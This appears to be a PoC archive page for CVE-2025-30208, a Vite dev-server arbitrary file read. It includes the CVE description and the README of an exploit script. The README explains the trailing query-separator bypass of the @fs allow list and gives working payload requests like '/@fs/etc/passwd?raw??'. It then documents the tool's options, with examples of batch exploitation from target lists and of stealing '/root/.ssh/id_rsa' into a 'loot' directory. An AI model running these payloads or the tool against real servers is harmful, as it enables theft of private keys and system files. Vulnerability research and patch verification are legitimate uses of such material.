Associated Vulnerability
Title:Vite bypasses server.fs.deny when using `?raw??` (CVE-2025-30208)Description:Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.
Description
A PoC of the exploit script for the Arbitrary File Read vulnerability of Vite /@fs/ Path Traversal in the transformMiddleware (CVE-2025-30208).
Readme
# CVE-2025-30208
A PoC of the exploit script for the **Arbitrary File Read** vulnerability of Vite `/@fs/` **Path Traversal** in `transformMiddleware` (CVE-2025-30208). Detailed analysis can be refer to this [post](https://4xura.com/web/vite-arbitrary-file-read-via-improper-query-sanitization-in-fs-route-cve-2025-30208/).
Vulnerable in versions **prior to**:
- 6.2.3
- 6.1.2
- 6.0.12
- 5.4.15
- 4.5.10
## Overview
Vite is a popular open-source project which can be sourced from [Github](https://github.com/vitejs/vite) and its [official website](https://vite.dev/). It uses a special prefix, **`@fs`**, to allow direct access to **absolute file paths** in development mode:
```http
GET /@fs/<absolute/path/to/file>
```
But **to prevent abuse**, Vite **limits** what can be accessed through `@fs` using a configuration like:
```ts
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}
```
So in theory, files **outside** the allowed directory (like `/etc/passwd`) should be **blocked** — even if someone tries using tricks like `../../../`.
**However**, the flaw lies in how **Vite parses and checks URLs** (via `transformMiddleware` middleware/function). The middleware/function uses `ensureServingAccess(url, ...)` to check if a file request via `/@fs/` was allowed.
However, an attacker could craft request with **trailing query separators** in the URL like:
```
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??
```
These forms would **bypass the regular expression filters** (`rawRE`, `urlRE`) and security checks due to the malformed query string still matching the route logic. What’s happening:
1. The path is `/@fs/../../../etc/passwd`
2. The query string is `raw??` (malformed on purpose)
3. Internally, Vite tries to **strip or normalize** trailing characters like `?`, and it does this **before** checking if the file path is allowed.
4. However, the check **fails to correctly parse and match the query string**, so the allowlist logic doesn't apply.
This means:
- The request bypasses the `server.fs.allow` check.
- Vite treats it as a valid file access request.
- And it reads and returns arbitrary files like `/etc/passwd`, if existed.
-----
## PoC Usage
### Basic usage
```bash
python3 poc.py [OPTIONS]
```
### Options
| Flag / Option | Description |
| ----------------- | ------------------------------------------------------------ |
| `-u`, `--url` | Single target URL (e.g. `example.com:5173`) |
| `-f`, `--file` | File with list of targets (one URL per line) |
| `-p`, `--path` | Filesystem path to read (default: `/etc/passwd`) |
| `-b`, `--bypass` | Query string to bypass route validation (default: `?raw??`) |
| `--proxy` | Proxy URL (e.g. `http://127.0.0.1:8080`) |
| `-o`, `--output` | Output directory for saving exploitation results (default: `results`) |
| `-t`, `--threads` | Number of threads for batch mode (default: `10`) |
| `-h`, `--help` | Show help message and exit |
### Examples
Single target exploitation:
```bash
python3 cve-2025-30208.py -u example.com:5173
```
Single target with custom LFI path to leak the file we want:
```bash
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
```
Batch exploitation with multiple targets:
```bash
python3 cve-2025-30208.py -f targets.txt
```
Custom bypass query:
```bash
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
```
Using a proxy (e.g. Burp Suite):
```bash
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
```
Custom output directory:
```bash
python3 cve-2025-30208.py -u example.com:5173 -o ./loot
```
Increase thread count in batch mode:
```bash
python3 cve-2025-30208.py -f targets.txt -t 50
```
File Snapshot
[4.0K] /data/pocs/06c290094abbb35d4a2f08733ac8b00cc0701688
├── [5.1K] cve-2025-30208.py
└── [3.8K] README.md
0 directories, 2 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →